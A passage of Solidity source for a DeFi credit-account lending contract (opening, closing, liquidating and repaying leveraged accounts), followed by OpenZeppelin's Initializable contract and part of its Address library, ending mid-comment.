uint256 public override maxLeverageFactor;
// Minimal allowed Hf after increasing borrow amount
uint256 public override minHealthFactor;
// Mapping between borrowers'/farmers' address and credit account
mapping(address => address) public override creditAccounts;
// Account manager - provides credit accounts to pool
IAccountFactory internal _accountFactory;
// Credit Manager filter
ICreditFilter public override creditFilter;
// Underlying token address
address public override underlyingToken;
// Address of connected pool
address public override poolService;
// Address of WETH token
address public wethAddress;
// Address of WETH Gateway
address public wethGateway;
// Default swap contracts - uses for automatic close
address public override defaultSwapContract;
uint256 public override feeInterest;
uint256 public override feeLiquidation;
uint256 public override liquidationDiscount;
// Contract version
uint constant public version = 1;
//
// MODIFIERS
//
/// @dev Restricts actions for users with opened credit accounts only
modifier allowedAdaptersOnly(address targetContract) {
require(
creditFilter.contractToAdapter(targetContract) == msg.sender,
Errors.CM_TARGET_CONTRACT_iS_NOT_ALLOWED
);
_;
}
/// @dev Constructor
/// @param _addressProvider Address Repository for upgradable contract model
/// @param _minAmount Minimal amount for open credit account
/// @param _maxAmount Maximum amount for open credit account
/// @param _maxLeverage Maximum allowed leverage factor
/// @param _poolService Address of pool service
/// @param _creditFilterAddress CreditFilter address. It should be finalised
/// @param _defaultSwapContract Default IUniswapV2Router02 contract to change assets in case of closing account
constructor(
address _addressProvider,
uint256 _minAmount,
uint256 _maxAmount,
uint256 _maxLeverage,
address _poolService,
address _creditFilterAddress,
address _defaultSwapContract
) ACLTrait(_addressProvider) {
require(
_addressProvider != address(0) &&
_poolService != address(0) &&
_creditFilterAddress != address(0) &&
_defaultSwapContract != address(0),
Errors.ZERO_ADDRESS_IS_NOT_ALLOWED
);
AddressProvider addressProvider = AddressProvider(_addressProvider); // T:[CM-1]
poolService = _poolService; // T:[CM-1]
underlyingToken = IPoolService(_poolService).underlyingToken(); // T:[CM-1]
wethAddress = addressProvider.getWethToken(); // T:[CM-1]
wethGateway = addressProvider.getWETHGateway(); // T:[CM-1]
defaultSwapContract = _defaultSwapContract; // T:[CM-1]
_accountFactory = IAccountFactory(addressProvider.getAccountFactory()); // T:[CM-1]
_setParams(
_minAmount,
_maxAmount,
_maxLeverage,
Constants.FEE_INTEREST,
Constants.FEE_LIQUIDATION,
Constants.LIQUIDATION_DISCOUNTED_SUM
); // T:[CM-1]
creditFilter = ICreditFilter(_creditFilterAddress); // T:[CM-1]
}
//
// CREDIT ACCOUNT MANAGEMENT
//
/**
* @dev Opens credit account and provides credit funds.
* - Opens credit account (take it from account factory^1)
* - Transfers trader /farmers initial funds to credit account
* - Transfers borrowed leveraged amount from pool (= amount x leverageFactor) calling lendCreditAccount() on connected Pool contract.
* - Emits OpenCreditAccount event
* Function reverts if user has already opened position
*
* More info: https://dev.gearbox.fi/developers/credit/credit_manager#open-credit-account
*
* @param amount Borrowers own funds
* @param onBehalfOf The address that we open credit account. Same as msg.sender if the user wants to open it for his own wallet,
* or a different address if the beneficiary is a different wallet
* @param leverageFactor Multiplier to borrowers own funds
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
*
* #if_succeeds {:msg "A credit account with the correct balance is opened."}
* let newAccount := creditAccounts[onBehalfOf] in
* newAccount != address(0) &&
* IERC20(underlyingToken).balanceOf(newAccount) >=
* amount.add(amount.mul(leverageFactor).div(Constants.LEVERAGE_DECIMALS));
*
* #if_succeeds {:msg "Sender looses amount tokens." }
* IERC20(underlyingToken).balanceOf(msg.sender) == old(IERC20(underlyingToken).balanceOf(msg.sender)) - amount;
*
* #if_succeeds {:msg "Pool provides correct leverage (amount x leverageFactor)." }
* IERC20(underlyingToken).balanceOf(poolService) == old(IERC20(underlyingToken).balanceOf(poolService)) - amount.mul(leverageFactor).div(Constants.LEVERAGE_DECIMALS);
*
* #if_succeeds {:msg "The new account is healthy."}
* creditFilter.calcCreditAccountHealthFactor(creditAccounts[onBehalfOf]) >= PercentageMath.PERCENTAGE_FACTOR;
*
* #if_succeeds {:msg "The new account has balance <= 1 for all tokens other than the underlying token."}
* let newAccount := creditAccounts[onBehalfOf] in
* forall (uint i in 1...creditFilter.allowedTokensCount())
* IERC20(creditFilter.allowedTokens(i)).balanceOf(newAccount) <= 1;
*/
function openCreditAccount(
uint256 amount,
address onBehalfOf,
uint256 leverageFactor,
uint256 referralCode
)
external
override
whenNotPaused // T:[CM-39]
nonReentrant
{
// Checks that amount is in limits
require(
amount >= minAmount &&
amount <= maxAmount &&
leverageFactor > 0 &&
leverageFactor <= maxLeverageFactor,
Errors.CM_INCORRECT_PARAMS
); // T:[CM-2]
// Checks that user "onBehalfOf" has no opened accounts
// require(
// !hasOpenedCreditAccount(onBehalfOf) && onBehalfOf != address(0),
// Errors.CM_ZERO_ADDRESS_OR_USER_HAVE_ALREADY_OPEN_CREDIT_ACCOUNT
// ); // T:[CM-3]
_checkAccountTransfer(onBehalfOf);
// borrowedAmount = amount * leverageFactor
uint256 borrowedAmount = amount.mul(leverageFactor).div(
Constants.LEVERAGE_DECIMALS
); // T:[CM-7]
// Get Reusable Credit account creditAccount
address creditAccount = _accountFactory.takeCreditAccount(
borrowedAmount,
IPoolService(poolService).calcLinearCumulative_RAY()
); // T:[CM-5]
// Initializes enabled tokens for the account. Enabled tokens is a bit mask which
// holds information which tokens were used by user
creditFilter.initEnabledTokens(creditAccount); // T:[CM-5]
// Transfer pool tokens to new credit account
IPoolService(poolService).lendCreditAccount(
borrowedAmount,
creditAccount
); // T:[CM-7]
// Transfer borrower own fund to credit account
IERC20(underlyingToken).safeTransferFrom(
msg.sender,
creditAccount,
amount
); // T:[CM-6]
// link credit account address with borrower address
creditAccounts[onBehalfOf] = creditAccount; // T:[CM-5]
// emit new event
emit OpenCreditAccount(
msg.sender,
onBehalfOf,
creditAccount,
amount,
borrowedAmount,
referralCode
); // T:[CM-8]
}
/**
* @dev Closes credit account
* - Swaps all assets to underlying one using default swap protocol
* - Pays borrowed amount + interest accrued + fees back to the pool by calling repayCreditAccount
* - Transfers remaining funds to the trader / farmer
* - Closes the credit account and return it to account factory
* - Emits CloseCreditAccount event
*
* More info: https://dev.gearbox.fi/developers/credit/credit_manager#close-credit-account
*
* @param to Address to send remaining funds
* @param paths Exchange type data which provides paths + amountMinOut
*
* #if_succeeds {:msg "Can only be called by account holder"} old(creditAccounts[msg.sender]) != address(0x0);
* #if_succeeds {:msg "Can only close healthy accounts" } old(creditFilter.calcCreditAccountHealthFactor(creditAccounts[msg.sender])) > PercentageMath.PERCENTAGE_FACTOR;
* #if_succeeds {:msg "If this succeeded the pool gets paid at least borrowed + interest"}
* let minAmountOwedToPool := old(borrowedPlusInterest(creditAccounts[msg.sender])) in
* IERC20(underlyingToken).balanceOf(poolService) >= old(IERC20(underlyingToken).balanceOf(poolService)).add(minAmountOwedToPool);
*/
function closeCreditAccount(address to, DataTypes.Exchange[] calldata paths)
external
override
whenNotPaused // T:[CM-39]
nonReentrant
{
address creditAccount = getCreditAccountOrRevert(msg.sender); // T: [CM-9, 44]
// Converts all assets to underlying one. _convertAllAssetsToUnderlying is virtual
_convertAllAssetsToUnderlying(creditAccount, paths); // T: [CM-44]
// total value equals underlying assets after converting all assets
uint256 totalValue = IERC20(underlyingToken).balanceOf(creditAccount); // T: [CM-44]
(, uint256 remainingFunds) = _closeCreditAccountImpl(
creditAccount,
Constants.OPERATION_CLOSURE,
totalValue,
msg.sender,
address(0),
to
); // T: [CM-44]
emit CloseCreditAccount(msg.sender, to, remainingFunds); // T: [CM-44]
}
/**
* @dev Liquidates credit account
* - Transfers discounted total credit account value from liquidators account
* - Pays borrowed funds + interest + fees back to pool, than transfers remaining funds to credit account owner
* - Transfer all assets from credit account to liquidator ("to") account
* - Returns credit account to factory
* - Emits LiquidateCreditAccount event
*
* More info: https://dev.gearbox.fi/developers/credit/credit_manager#liquidate-credit-account
*
* @param borrower Borrower address
* @param to Address to transfer all assets from credit account
*
* #if_succeeds {:msg "Can only be called by account holder"} old(creditAccounts[msg.sender]) != address(0x0);
* #if_succeeds {:msg "Can only liquidate an un-healthy accounts" } old(creditFilter.calcCreditAccountHealthFactor(creditAccounts[msg.sender])) < PercentageMath.PERCENTAGE_FACTOR;
*/
function liquidateCreditAccount(
address borrower,
address to,
bool force
)
external
override
whenNotPaused // T:[CM-39]
nonReentrant
{
address creditAccount = getCreditAccountOrRevert(borrower); // T: [CM-9]
// transfers assets to "to" address and compute total value (tv) & threshold weighted value (twv)
(uint256 totalValue, uint256 tvw) = _transferAssetsTo(
creditAccount,
to,
force
); // T:[CM-13, 16, 17]
// Checks that current Hf < 1
require(
tvw <
creditFilter
.calcCreditAccountAccruedInterest(creditAccount)
.mul(PercentageMath.PERCENTAGE_FACTOR),
Errors.CM_CAN_LIQUIDATE_WITH_SUCH_HEALTH_FACTOR
); // T:[CM-13, 16, 17]
// Liquidate credit account
(, uint256 remainingFunds) = _closeCreditAccountImpl(
creditAccount,
Constants.OPERATION_LIQUIDATION,
totalValue,
borrower,
msg.sender,
to
); // T:[CM-13]
emit LiquidateCreditAccount(borrower, msg.sender, remainingFunds); // T:[CM-13]
}
/// @dev Repays credit account
/// More info: https://dev.gearbox.fi/developers/credit/credit_manager#repay-credit-account
///
/// @param to Address to send credit account assets
/// #if_succeeds {:msg "Can only be called by account holder"} old(creditAccounts[msg.sender]) != address(0x0);
/// #if_succeeds {:msg "If this succeeded the pool gets paid at least borrowed + interest"}
/// let minAmountOwedToPool := old(borrowedPlusInterest(creditAccounts[msg.sender])) in
/// IERC20(underlyingToken).balanceOf(poolService) >= old(IERC20(underlyingToken).balanceOf(poolService)).add(minAmountOwedToPool);
function repayCreditAccount(address to)
external
override
whenNotPaused // T:[CM-39]
nonReentrant
{
_repayCreditAccountImpl(msg.sender, to); // T:[CM-17]
}
/// @dev Repay credit account with ETH. Restricted to be called by WETH Gateway only
///
/// @param borrower Address of borrower
/// @param to Address to send credit account assets
/// #if_succeeds {:msg "If this succeeded the pool gets paid at least borrowed + interest"}
/// let minAmountOwedToPool := old(borrowedPlusInterest(creditAccounts[borrower])) in
/// IERC20(underlyingToken).balanceOf(poolService) >= old(IERC20(underlyingToken).balanceOf(poolService)).add(minAmountOwedToPool);
function repayCreditAccountETH(address borrower, address to)
external
override
whenNotPaused // T:[CM-39]
nonReentrant
returns (uint256)
{
// Checks that msg.sender is WETH Gateway
require(msg.sender == wethGateway, Errors.CM_WETH_GATEWAY_ONLY); // T:[CM-38]
// Difference with usual Repay is that there is borrower in repay implementation call
return _repayCreditAccountImpl(borrower, to); // T:[WG-11]
}
/// @dev Implements logic for repay credit accounts
///
/// @param borrower Borrower address
/// @param to Address to transfer assets from credit account
function _repayCreditAccountImpl(address borrower, address to)
internal
returns (uint256)
{
address creditAccount = getCreditAccountOrRevert(borrower);
(uint256 totalValue, ) = _transferAssetsTo(creditAccount, to, false); // T:[CM-17, 23]
(uint256 amountToPool, ) = _closeCreditAccountImpl(
creditAccount,
Constants.OPERATION_REPAY,
totalValue,
borrower,
borrower,
to
); // T:[CM-17]
emit RepayCreditAccount(borrower, to); // T:[CM-18]
return amountToPool;
}
/// @dev Implementation for all closing account procedures
/// #if_succeeds {:msg "Credit account balances should be <= 1 for all allowed tokens after closing"}
/// forall (uint i in 0...creditFilter.allowedTokensCount())
/// IERC20(creditFilter.allowedTokens(i)).balanceOf(creditAccount) <= 1;
function _closeCreditAccountImpl(
address creditAccount,
uint8 operation,
uint256 totalValue,
address borrower,
address liquidator,
address to
) internal returns (uint256, uint256) {
bool isLiquidated = operation == Constants.OPERATION_LIQUIDATION;
(
uint256 borrowedAmount,
uint256 amountToPool,
uint256 remainingFunds,
uint256 profit,
uint256 loss
) = _calcClosePayments(creditAccount, totalValue, isLiquidated); // T:[CM-11, 15, 17]
if (operation == Constants.OPERATION_CLOSURE) {
ICreditAccount(creditAccount).safeTransfer(
underlyingToken,
poolService,
amountToPool
); // T:[CM-11]
// close operation with loss is not allowed
require(remainingFunds > 0, Errors.CM_CANT_CLOSE_WITH_LOSS); // T:[CM-42]
// transfer remaining funds to borrower
_safeTokenTransfer(
creditAccount,
underlyingToken,
to,
remainingFunds,
false
); // T:[CM-11]
}
// LIQUIDATION
else if (operation == Constants.OPERATION_LIQUIDATION) {
// repay amount to pool
IERC20(underlyingToken).safeTransferFrom(
liquidator,
poolService,
amountToPool
); // T:[CM-14]
// transfer remaining funds to borrower
if (remainingFunds > 0) {
IERC20(underlyingToken).safeTransferFrom(
liquidator,
borrower,
remainingFunds
); //T:[CM-14]
}
}
// REPAY
else {
// repay amount to pool
IERC20(underlyingToken).safeTransferFrom(
msg.sender, // msg.sender in case of WETH Gateway
poolService,
amountToPool
); // T:[CM-17]
}
// Return creditAccount
_accountFactory.returnCreditAccount(creditAccount); // T:[CM-21]
// Release memory
delete creditAccounts[borrower]; // T:[CM-27]
// Transfer pool tokens to new credit account
IPoolService(poolService).repayCreditAccount(
borrowedAmount,
profit,
loss
); // T:[CM-11, 15]
return (amountToPool, remainingFunds); // T:[CM-11]
}
/// @dev Collects data and call calc payments pure function during closure procedures
/// @param creditAccount Credit account address
/// @param totalValue Credit account total value
/// @param isLiquidated True if calculations needed for liquidation
function _calcClosePayments(
address creditAccount,
uint256 totalValue,
bool isLiquidated
)
public
view
returns (
uint256 _borrowedAmount,
uint256 amountToPool,
uint256 remainingFunds,
uint256 profit,
uint256 loss
)
{
// Gets credit account parameters
(
uint256 borrowedAmount,
uint256 cumulativeIndexAtCreditAccountOpen_RAY
) = getCreditAccountParameters(creditAccount); // T:[CM-13]
return
_calcClosePaymentsPure(
totalValue,
isLiquidated,
borrowedAmount,
cumulativeIndexAtCreditAccountOpen_RAY,
IPoolService(poolService).calcLinearCumulative_RAY()
);
}
/// @dev Computes all close parameters based on data
/// @param totalValue Credit account total value
/// @param isLiquidated True if calculations needed for liquidation
/// @param borrowedAmount Credit account borrow amount
/// @param cumulativeIndexAtCreditAccountOpen_RAY Cumulative index at opening credit account in RAY format
/// @param cumulativeIndexNow_RAY Current value of cumulative index in RAY format
function _calcClosePaymentsPure(
uint256 totalValue,
bool isLiquidated,
uint256 borrowedAmount,
uint256 cumulativeIndexAtCreditAccountOpen_RAY,
uint256 cumulativeIndexNow_RAY
)
public
view
returns (
uint256 _borrowedAmount,
uint256 amountToPool,
uint256 remainingFunds,
uint256 profit,
uint256 loss
)
{
uint256 totalFunds = isLiquidated
? totalValue.mul(liquidationDiscount).div(
PercentageMath.PERCENTAGE_FACTOR
)
: totalValue; // T:[CM-45]
_borrowedAmount = borrowedAmount; // T:[CM-45]
uint256 borrowedAmountWithInterest = borrowedAmount
.mul(cumulativeIndexNow_RAY)
.div(cumulativeIndexAtCreditAccountOpen_RAY); // T:[CM-45]
if (totalFunds < borrowedAmountWithInterest) {
amountToPool = totalFunds.sub(1); // T:[CM-45]
loss = borrowedAmountWithInterest.sub(amountToPool); // T:[CM-45]
} else {
amountToPool = isLiquidated
? totalFunds.percentMul(feeLiquidation).add(
borrowedAmountWithInterest
)
: borrowedAmountWithInterest.add(
borrowedAmountWithInterest.sub(borrowedAmount).percentMul(
feeInterest
)
); // T:[CM-45]
if (totalFunds > amountToPool) {
remainingFunds = totalFunds.sub(amountToPool).sub(1); // T:[CM-45]
} else {
amountToPool = totalFunds.sub(1); // T:[CM-45]
}
profit = amountToPool.sub(borrowedAmountWithInterest); // T:[CM-45]
}
}
/// @dev Transfers all assets from borrower credit account to "to" account and converts WETH => ETH if applicable
/// @param creditAccount Credit account address
/// @param to Address to transfer all assets to
function _transferAssetsTo(
address creditAccount,
address to,
bool force
) internal returns (uint256 totalValue, uint256 totalWeightedValue) {
uint256 tokenMask;
uint256 enabledTokens = creditFilter.enabledTokens(creditAccount);
require(to != address(0), Errors.ZERO_ADDRESS_IS_NOT_ALLOWED);
for (uint256 i = 0; i < creditFilter.allowedTokensCount(); i++) {
tokenMask = 1 << i;
if (enabledTokens & tokenMask > 0) {
(
address token,
uint256 amount,
uint256 tv,
uint256 tvw
) = creditFilter.getCreditAccountTokenById(creditAccount, i); // T:[CM-14, 17, 22, 23]
if (amount > 1) {
if (
_safeTokenTransfer(
creditAccount,
token,
to,
amount.sub(1), // Michael Egorov gas efficiency trick
force
)
) {
totalValue = totalValue.add(tv); // T:[CM-14, 17, 22, 23]
totalWeightedValue = totalWeightedValue.add(tvw); // T:[CM-14, 17, 22, 23]
}
}
}
}
}
/// @dev Transfers token to particular address from credit account and converts WETH => ETH if applicable
/// @param creditAccount Address of credit account
/// @param token Token address
/// @param to Address to transfer asset
/// @param amount Amount to be transferred
/// @param force If true it will skip reverts of safeTransfer function. Used for force liquidation if there is
/// a blocked token on creditAccount
/// @return true if transfer were successful otherwise false
function _safeTokenTransfer(
address creditAccount,
address token,
address to,
uint256 amount,
bool force
) internal returns (bool) {
if (token != wethAddress) {
try
ICreditAccount(creditAccount).safeTransfer(token, to, amount) // T:[CM-14, 17]
{} catch {
require(force, Errors.CM_TRANSFER_FAILED); // T:[CM-50]
return false;
}
} else {
ICreditAccount(creditAccount).safeTransfer(
token,
wethGateway,
amount
); // T:[CM-22, 23]
IWETHGateway(wethGateway).unwrapWETH(to, amount); // T:[CM-22, 23]
}
return true;
}
/// @dev Increases borrowed amount by transferring additional funds from
/// the pool if after that HealthFactor > minHealth
/// More info: https://dev.gearbox.fi/developers/credit/credit_manager#increase-borrowed-amount
///
/// @param amount Amount to increase borrowed amount
function increaseBorrowedAmount(uint256 amount)
external
override
whenNotPaused // T:[CM-39]
nonReentrant
{
address creditAccount = getCreditAccountOrRevert(msg.sender); // T: [CM-9, 30]
(
uint256 borrowedAmount,
uint256 cumulativeIndexAtOpen
) = getCreditAccountParameters(creditAccount); // T:[CM-30]
//
uint256 newBorrowedAmount = borrowedAmount.add(amount);
uint256 newCumulativeIndex = IPoolService(poolService)
.calcCumulativeIndexAtBorrowMore(
borrowedAmount,
amount,
cumulativeIndexAtOpen
); // T:[CM-30]
require(
newBorrowedAmount.mul(Constants.LEVERAGE_DECIMALS) <
maxAmount.mul(maxLeverageFactor),
Errors.CM_INCORRECT_AMOUNT
); // T:[CM-51]
//
// Increase _totalBorrowed, it used to compute forecasted interest
IPoolService(poolService).lendCreditAccount(amount, creditAccount); // T:[CM-29]
//
// Set parameters for new credit account
ICreditAccount(creditAccount).updateParameters(
newBorrowedAmount,
newCumulativeIndex
); // T:[CM-30]
//
creditFilter.revertIfCantIncreaseBorrowing(
creditAccount,
minHealthFactor
); // T:[CM-28]
emit IncreaseBorrowedAmount(msg.sender, amount); // T:[CM-29]
}
/// @dev Adds collateral to borrower's credit account
/// @param onBehalfOf Address of borrower to add funds
/// @param token Token address
/// @param amount Amount to add
function addCollateral(
address onBehalfOf,
address token,
uint256 amount
)
external
override
whenNotPaused // T:[CM-39]
nonReentrant
{
address creditAccount = getCreditAccountOrRevert(onBehalfOf); // T: [CM-9]
creditFilter.checkAndEnableToken(creditAccount, token); // T:[CM-48]
IERC20(token).safeTransferFrom(msg.sender, creditAccount, amount); // T:[CM-48]
emit AddCollateral(onBehalfOf, token, amount); // T: [CM-48]
}
/// @dev Sets fees. Restricted for configurator role only
/// @param _minAmount Minimum amount to open account
/// @param _maxAmount Maximum amount to open account
/// @param _maxLeverageFactor Maximum leverage factor
/// @param _feeInterest Interest fee multiplier
/// @param _feeLiquidation Liquidation fee multiplier (for totalValue)
/// @param _liquidationDiscount Liquidation premium multiplier (= PERCENTAGE_FACTOR - premium)
function setParams(
uint256 _minAmount,
uint256 _maxAmount,
uint256 _maxLeverageFactor,
uint256 _feeInterest,
uint256 _feeLiquidation,
uint256 _liquidationDiscount
)
public
configuratorOnly // T:[CM-36]
{
_setParams(
_minAmount,
_maxAmount,
_maxLeverageFactor,
_feeInterest,
_feeLiquidation,
_liquidationDiscount
);
}
function _setParams(
uint256 _minAmount,
uint256 _maxAmount,
uint256 _maxLeverageFactor,
uint256 _feeInterest,
uint256 _feeLiquidation,
uint256 _liquidationDiscount
) internal {
require(
_minAmount <= _maxAmount && _maxLeverageFactor > 0,
Errors.CM_INCORRECT_PARAMS
); // T:[CM-34]
minAmount = _minAmount; // T:[CM-32]
maxAmount = _maxAmount; // T:[CM-32]
maxLeverageFactor = _maxLeverageFactor;
feeInterest = _feeInterest; // T:[CM-37]
feeLiquidation = _feeLiquidation; // T:[CM-37]
liquidationDiscount = _liquidationDiscount; // T:[CM-37]
// Compute minHealthFactor: https://dev.gearbox.fi/developers/credit/credit_manager#increase-borrow-amount
// LT_U = liquidationDiscount - feeLiquidation
minHealthFactor = liquidationDiscount
.sub(feeLiquidation)
.mul(maxLeverageFactor.add(Constants.LEVERAGE_DECIMALS))
.div(maxLeverageFactor); // T:[CM-41]
if (address(creditFilter) != address(0)) {
creditFilter.updateUnderlyingTokenLiquidationThreshold(); // T:[CM-49]
}
emit NewParameters(
minAmount,
maxAmount,
maxLeverageFactor,
feeInterest,
feeLiquidation,
liquidationDiscount
); // T:[CM-37]
}
/// @dev Approves credit account for 3rd party contract
/// @param targetContract Contract to check allowance
/// @param token Token address of contract
function approve(address targetContract, address token)
external
override
whenNotPaused // T:[CM-39]
nonReentrant
{
address creditAccount = getCreditAccountOrRevert(msg.sender);
// Checks that targetContract is allowed - it has non-zero address adapter
require(
creditFilter.contractToAdapter(targetContract) != address(0),
Errors.CM_TARGET_CONTRACT_iS_NOT_ALLOWED
);
creditFilter.revertIfTokenNotAllowed(token); // ToDo: add test
_provideCreditAccountAllowance(creditAccount, targetContract, token);
}
/// @dev Approve tokens for credit accounts. Restricted for adapters only
/// @param creditAccount Credit account address
/// @param targetContract Contract to check allowance
/// @param token Token address of contract
function provideCreditAccountAllowance(
address creditAccount,
address targetContract,
address token
)
external
override
allowedAdaptersOnly(targetContract) // T:[CM-46]
whenNotPaused // T:[CM-39]
nonReentrant
{
_provideCreditAccountAllowance(creditAccount, targetContract, token); // T:[CM-35]
}
/// @dev Checks that credit account has enough allowance for operation by comparing existing one with x10 times more than needed
/// @param creditAccount Credit account address
/// @param toContract Contract to check allowance
/// @param token Token address of contract
function _provideCreditAccountAllowance(
address creditAccount,
address toContract,
address token
) internal {
// Get 10x reserve in allowance
if (
IERC20(token).allowance(creditAccount, toContract) <
Constants.MAX_INT_4
) {
ICreditAccount(creditAccount).approveToken(token, toContract); // T:[CM-35]
}
}
/// @dev Converts all assets to underlying one using uniswap V2 protocol
/// @param creditAccount Credit Account address
/// @param paths Exchange type data which provides paths + amountMinOut
function _convertAllAssetsToUnderlying(
address creditAccount,
DataTypes.Exchange[] calldata paths
) internal {
uint256 tokenMask;
uint256 enabledTokens = creditFilter.enabledTokens(creditAccount); // T: [CM-44]
require(
paths.length == creditFilter.allowedTokensCount(),
Errors.INCORRECT_PATH_LENGTH
); // ToDo: check
for (uint256 i = 1; i < paths.length; i++) {
tokenMask = 1 << i;
if (enabledTokens & tokenMask > 0) {
(address tokenAddr, uint256 amount, , ) = creditFilter
.getCreditAccountTokenById(creditAccount, i); // T: [CM-44]
if (amount > 1) {
_provideCreditAccountAllowance(
creditAccount,
defaultSwapContract,
tokenAddr
); // T: [CM-44]
address[] memory currentPath = paths[i].path;
currentPath[0] = tokenAddr;
currentPath[paths[i].path.length - 1] = underlyingToken;
bytes memory data = abi.encodeWithSelector(
bytes4(0x38ed1739), // "swapExactTokensForTokens(uint256,uint256,address[],address,uint256)",
amount.sub(1),
paths[i].amountOutMin, // T: [CM-45]
currentPath,
creditAccount,
block.timestamp
); // T: [CM-44]
ICreditAccount(creditAccount).execute(
defaultSwapContract,
data
); // T: [CM-44]
}
}
}
}
/// @dev Executes filtered order on credit account which is connected with particular borrower
/// @param borrower Borrower address
/// @param target Target smart-contract
/// @param data Call data for call
function executeOrder(
address borrower,
address target,
bytes memory data
)
external
override
allowedAdaptersOnly(target) // T:[CM-46]
whenNotPaused // T:[CM-39]
nonReentrant
returns (bytes memory)
{
address creditAccount = getCreditAccountOrRevert(borrower); // T:[CM-9]
emit ExecuteOrder(borrower, target);
return ICreditAccount(creditAccount).execute(target, data); // : [CM-47]
}
//
// GETTERS
//
/// @dev Returns true if the borrower has opened a credit account
/// @param borrower Borrower account
function hasOpenedCreditAccount(address borrower)
public
view
override
returns (bool)
{
return creditAccounts[borrower] != address(0); // T:[CM-26]
}
/// @dev Returns address of borrower's credit account and reverts of borrower has no one.
/// @param borrower Borrower address
function getCreditAccountOrRevert(address borrower)
public
view
override
returns (address)
{
address result = creditAccounts[borrower]; // T: [CM-9]
require(result != address(0), Errors.CM_NO_OPEN_ACCOUNT); // T: [CM-9]
return result;
}
/// @dev Calculates repay / liquidation amount
/// repay amount = borrow amount + interest accrued + fee amount
///
/// More info: https://dev.gearbox.fi/developers/credit/economy#repay
/// https://dev.gearbox.fi/developers/credit/economy#liquidate
/// @param borrower Borrower address
/// @param isLiquidated True if calculated repay amount for liquidator
function calcRepayAmount(address borrower, bool isLiquidated)
external
view
override
returns (uint256)
{
address creditAccount = getCreditAccountOrRevert(borrower);
uint256 totalValue = creditFilter.calcTotalValue(creditAccount);
(
,
uint256 amountToPool,
uint256 remainingFunds,
,
) = _calcClosePayments(creditAccount, totalValue, isLiquidated); // T:[CM-14, 17, 31]
return isLiquidated ? amountToPool.add(remainingFunds) : amountToPool; // T:[CM-14, 17, 31]
}
/// @dev Gets credit account generic parameters
/// @param creditAccount Credit account address
/// @return borrowedAmount Amount which pool lent to credit account
/// @return cumulativeIndexAtOpen Cumulative index at open. Used for interest calculation
function getCreditAccountParameters(address creditAccount)
internal
view
returns (uint256 borrowedAmount, uint256 cumulativeIndexAtOpen)
{
borrowedAmount = ICreditAccount(creditAccount).borrowedAmount();
cumulativeIndexAtOpen = ICreditAccount(creditAccount)
.cumulativeIndexAtOpen();
}
/// @dev Transfers account ownership to another account
/// @param newOwner Address of new owner
function transferAccountOwnership(address newOwner)
external
override
whenNotPaused // T: [CM-39]
nonReentrant
{
address creditAccount = getCreditAccountOrRevert(msg.sender); // M:[LA-1,2,3,4,5,6,7,8] // T:[CM-52,53, 54]
_checkAccountTransfer(newOwner);
delete creditAccounts[msg.sender]; // T:[CM-54], M:[LA-1,2,3,4,5,6,7,8]
creditAccounts[newOwner] = creditAccount; // T:[CM-54], M:[LA-1,2,3,4,5,6,7,8]
emit TransferAccount(msg.sender, newOwner); // T:[CM-54]
}
function _checkAccountTransfer(address newOwner) internal view {
require(
newOwner != address(0) && !hasOpenedCreditAccount(newOwner),
Errors.CM_ZERO_ADDRESS_OR_USER_HAVE_ALREADY_OPEN_CREDIT_ACCOUNT
); // T:[CM-52,53]
if (msg.sender != newOwner) {
creditFilter.revertIfAccountTransferIsNotAllowed(
msg.sender,
newOwner
); // T:[54,55]
}
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/Address.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !Address.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
